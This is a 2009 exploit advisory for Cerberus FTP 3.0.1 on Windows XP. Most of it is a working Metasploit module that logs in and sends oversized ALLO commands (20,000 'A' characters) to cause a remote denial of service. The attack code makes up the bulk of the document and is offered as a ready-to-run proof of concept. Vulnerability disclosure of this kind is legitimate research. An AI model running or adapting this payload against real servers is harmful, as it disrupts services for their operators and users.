#####################################################################################

Application:  Cerberus FTP 3.0.1
            
Platforms:    Windows XP Professional SP2

crash:        N/A
  
Exploitation: remote DoS

Date:         2009-08-24

Author:       Francis Provencher (Protek Research Lab's)
             

#####################################################################################

1) Introduction
2) Technical details
3) The Code


#####################################################################################

===============
1) Introduction

===============
Cerberus FTP Server is a secure and easy-to-use professional Windows FTP server featuring FIPS 140-2 certified encryption.

#####################################################################################

============================
2) Technical details 
============================

The validation of some ftp commands are not made by the server. This lead to a a DoS.... 



#####################################################################################

===========
3) The Code
===========

Proof of concept DoS code;

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Dos
  
  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Cerberus FTP command ALLO overflow',
      'Description'    => %q{
         You need to have a valid login
        so you can run ALLO command.
      },
      'Author'         => 'Francis Provencher "Protek Research Lab's",
      'License'        => MSF_LICENSE,
      'Version'        => '1',
      'References'     =>
        
      'DisclosureDate' => 'Aug 24 2009'))

    # They're required
    register_options([
      OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
      OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ])
    ])
  end

  def run
    return unless connect_login

    print_status("Sending commands...")

    # We want to try to wait for responses to these
    raw_send("ALLO #{'A' * 20000}\r\n")
    raw_send("ALLO #{'A' * 20000}\r\n")

    disconnect
  end
end


#####################################################################################